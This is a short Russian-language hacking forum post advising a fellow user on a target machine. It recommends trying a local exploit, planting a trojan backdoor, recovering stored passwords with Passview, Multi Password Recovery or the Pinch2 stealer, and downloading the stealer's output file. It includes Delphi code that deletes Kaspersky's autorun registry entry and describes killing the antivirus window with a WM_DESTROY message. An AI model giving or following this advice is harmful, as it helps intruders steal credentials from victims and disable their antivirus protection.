1. а какой-нить локальный сплойт использовать пробовал?
2. залей трой бэкдор для того чтобы папки гонять
3. Passview - и пассы видно =)... Круче? mpr (Multi Password Recovery) - платная...
либо запускай pinch2 и качай с него c:\out.bin, а потом у ся парсером читай

кстати не знаю работает иль нет, но 1 полтора работало:
var hTemp:HKEY;
begin
if RegOpenKeyEx(HKEY_LOCAL_MACHINE,'Software\Microsof t\Windows\CurrentVersion\Run', 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then
begin
RegDeleteValue(hTemp,'KAVPersonal50');
RegCloseKey(hTemp);
end;

так каспера "выкуривали" из реестра
а закрывали путем посылки сообщения wm_destroy

__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...